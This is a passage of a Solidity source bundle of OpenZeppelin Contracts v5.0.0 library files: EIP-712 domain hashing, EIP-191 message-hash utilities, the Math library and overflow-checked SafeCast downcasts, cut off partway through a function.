will cause the {_domainSeparatorV4} function to always rebuild the\n * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.\n *\n * @custom:oz-upgrades-unsafe-allow state-variable-immutable\n */\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to\n // invalidate the cached domain separator if the chain id changes.\n bytes32 private immutable _cachedDomainSeparator;\n uint256 private immutable _cachedChainId;\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n ShortString private immutable _version;\n string private _nameFallback;\n string private _versionFallback;\n\n /**\n * @dev Initializes the domain separator and parameter caches.\n *\n * The meaning of `name` and `version` is specified in\n * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n *\n * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n * - `version`: the current major version of the signing domain.\n *\n * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n * contract upgrade].\n */\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n _version = version.toShortStringWithFallback(_versionFallback);\n _hashedName = keccak256(bytes(name));\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n _cachedDomainSeparator = _buildDomainSeparator();\n _cachedThis = address(this);\n }\n\n /**\n * @dev Returns the domain separator for the current chain.\n */\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));\n }\n\n /**\n * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n * function returns the hash of the fully encoded EIP712 message for this domain.\n *\n * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n *\n * ```solidity\n * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n * keccak256(\"Mail(address to,string contents)\"),\n * mailTo,\n * keccak256(bytes(mailContents))\n * )));\n * address signer = ECDSA.recover(digest, signature);\n * ```\n */\n function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n /**\n * @dev See {IERC-5267}.\n */\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n /**\n * @dev The name parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _name which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n /**\n * @dev The version parameter for the EIP712 domain.\n *\n * NOTE: By default this function reads _version which is an immutable value.\n * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).\n */\n // solhint-disable-next-line func-name-mixedcase\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n"
},
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)\n\npragma solidity ^0.8.20;\n\nimport {Strings} from \"../Strings.sol\";\n\n/**\n * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.\n *\n * The library provides methods for generating a hash of a message that conforms to the\n * https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]\n * specifications.\n */\nlibrary MessageHashUtils {\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing a bytes32 `messageHash` with\n * `\"\\x19Ethereum Signed Message:\\n32\"` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with\n * keccak256, although any bytes32 value can be safely used because the final digest will\n * be re-hashed.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix\n digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)\n }\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x45` (`personal_sign` messages).\n *\n * The digest is calculated by prefixing an arbitrary `message` with\n * `\"\\x19Ethereum Signed Message:\\n\" + len(message)` and hashing the result. It corresponds with the\n * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.\n *\n * See {ECDSA-recover}.\n */\n function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {\n return\n keccak256(bytes.concat(\"\\x19Ethereum Signed Message:\\n\", bytes(Strings.toString(message.length)), message));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-191 signed data with version\n * `0x00` (data with intended validator).\n *\n * The digest is calculated by prefixing an arbitrary `data` with `\"\\x19\\x00\"` and the intended\n * `validator` address. Then hashing the result.\n *\n * See {ECDSA-recover}.\n */\n function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n /**\n * @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).\n *\n * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with\n * `\\x19\\x01` and hashing the result. It corresponds to the hash signed by the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.\n *\n * See {ECDSA-recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(ptr, hex\"19_01\")\n mstore(add(ptr, 0x02), domainSeparator)\n mstore(add(ptr, 0x22), structHash)\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n /**\n * @dev Muldiv operation overflow.\n */\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor, // Toward negative infinity\n Ceil, // Toward positive infinity\n Trunc, // Toward zero\n Expand // Away from zero\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds towards infinity instead\n * of rounding towards zero.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n // Guarantee the same behavior as in a regular Solidity division.\n return a / b;\n }\n\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or\n * denominator == 0.\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by\n * Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0 = x * y; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator.\n // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.\n\n uint256 twos = denominator & (0 - denominator);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also\n // works in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded\n * towards zero.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256 of a positive value rounded towards zero.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.\n */\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SafeCast.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeCast {\n /**\n * @dev Value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n /**\n * @dev An int value doesn't fit in an uint of `bits` size.\n */\n error SafeCastOverflowedIntToUint(int256 value);\n\n /**\n * @dev Value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n /**\n * @dev An uint value doesn't fit in an int of `bits` size.\n */\n error SafeCastOverflowedUintToInt(uint256 value);\n\n /**\n * @dev Returns the downcasted uint248 from uint256, reverting on\n * overflow (when the input is greater than largest uint248).\n *\n * Counterpart to Solidity's `uint248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n return uint248(value);\n }\n\n /**\n * @dev Returns the downcasted uint240 from uint256, reverting on\n * overflow (when the input is greater than largest uint240).\n *\n * Counterpart to Solidity's `uint240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n return uint240(value);\n }\n\n /**\n * @dev Returns the downcasted uint232 from uint256, reverting on\n * overflow (when the input is greater than largest uint232).\n *\n * Counterpart to Solidity's `uint232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n return uint232(value);\n }\n\n /**\n * @dev Returns the downcasted uint224 from uint256, reverting on\n * overflow (when the input is greater than largest uint224).\n *\n * Counterpart to Solidity's `uint224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n return uint224(value);\n }\n\n /**\n * @dev Returns the downcasted uint216 from uint256, reverting on\n * overflow (when the input is greater than largest uint216).\n *\n * Counterpart to Solidity's `uint216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n return uint216(value);\n }\n\n /**\n * @dev Returns the downcasted uint208 from uint256, reverting on\n * overflow (when the input is greater than largest uint208).\n *\n * Counterpart to Solidity's `uint208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n return uint208(value);\n }\n\n /**\n * @dev Returns the downcasted uint200 from uint256, reverting on\n * overflow (when the input is greater than largest uint200).\n *\n * Counterpart to Solidity's `uint200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n return uint200(value);\n }\n\n /**\n * @dev Returns the downcasted uint192 from uint256, reverting on\n * overflow (when the input is greater than largest uint192).\n *\n * Counterpart to Solidity's `uint192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n return uint192(value);\n }\n\n /**\n * @dev Returns the downcasted uint184 from uint256, reverting on\n * overflow (when the input is greater than largest uint184).\n *\n * Counterpart to Solidity's `uint184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n return uint184(value);\n }\n\n /**\n * @dev Returns the downcasted uint176 from uint256, reverting on\n * overflow (when the input is greater than largest uint176).\n *\n * Counterpart to Solidity's `uint176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n return uint176(value);\n }\n\n /**\n * @dev Returns the downcasted uint168 from uint256, reverting on\n * overflow (when the input is greater than largest uint168).\n *\n * Counterpart to Solidity's `uint168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n return uint168(value);\n }\n\n /**\n * @dev Returns the downcasted uint160 from uint256, reverting on\n * overflow (when the input is greater than largest uint160).\n *\n * Counterpart to Solidity's `uint160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n return uint160(value);\n }\n\n /**\n * @dev Returns the downcasted uint152 from uint256, reverting on\n * overflow (when the input is greater than largest uint152).\n *\n * Counterpart to Solidity's `uint152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n return uint152(value);\n }\n\n /**\n * @dev Returns the downcasted uint144 from uint256, reverting on\n * overflow (when the input is greater than largest uint144).\n *\n * Counterpart to Solidity's `uint144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n return uint144(value);\n }\n\n /**\n * @dev Returns the downcasted uint136 from uint256, reverting on\n * overflow (when the input is greater than largest uint136).\n *\n * Counterpart to Solidity's `uint136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n return uint136(value);\n }\n\n /**\n * @dev Returns the downcasted uint128 from uint256, reverting on\n * overflow (when the input is greater than largest uint128).\n *\n * Counterpart to Solidity's `uint128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n return uint128(value);\n }\n\n /**\n * @dev Returns the downcasted uint120 from uint256, reverting on\n * overflow (when the input is greater than largest uint120).\n *\n * Counterpart to Solidity's `uint120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n return uint120(value);\n }\n\n /**\n * @dev Returns the downcasted uint112 from uint256, reverting on\n * overflow (when the input is greater than largest uint112).\n *\n * Counterpart to Solidity's `uint112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n return uint112(value);\n }\n\n /**\n * @dev Returns the downcasted uint104 from uint256, reverting on\n * overflow (when the input is greater than largest uint104).\n *\n * Counterpart to Solidity's `uint104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n return uint104(value);\n }\n\n /**\n * @dev Returns the downcasted uint96 from uint256, reverting on\n * overflow (when the input is greater than largest uint96).\n *\n * Counterpart to Solidity's `uint96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n return uint96(value);\n }\n\n /**\n * @dev Returns the downcasted uint88 from uint256, reverting on\n * overflow (when the input is greater than largest uint88).\n *\n * Counterpart to Solidity's `uint88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n return uint88(value);\n }\n\n /**\n * @dev Returns the downcasted uint80 from uint256, reverting on\n * overflow (when the input is greater than largest uint80).\n *\n * Counterpart to Solidity's `uint80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n return uint80(value);\n }\n\n /**\n * @dev Returns the downcasted uint72 from uint256, reverting on\n * overflow (when the input is greater than largest uint72).\n *\n * Counterpart to Solidity's `uint72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n return uint72(value);\n }\n\n /**\n * @dev Returns the downcasted uint64 from uint256, reverting on\n * overflow (when the input is greater than largest uint64).\n *\n * Counterpart to Solidity's `uint64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n return uint64(value);\n }\n\n /**\n * @dev Returns the downcasted uint56 from uint256, reverting on\n * overflow (when the input is greater than largest uint56).\n *\n * Counterpart to Solidity's `uint56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n return uint56(value);\n }\n\n /**\n * @dev Returns the downcasted uint48 from uint256, reverting on\n * overflow (when the input is greater than largest uint48).\n *\n * Counterpart to Solidity's `uint48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n return uint48(value);\n }\n\n /**\n * @dev Returns the downcasted uint40 from uint256, reverting on\n * overflow (when the input is greater than largest uint40).\n *\n * Counterpart to Solidity's `uint40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n return uint40(value);\n }\n\n /**\n * @dev Returns the downcasted uint32 from uint256, reverting on\n * overflow (when the input is greater than largest uint32).\n *\n * Counterpart to Solidity's `uint32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n 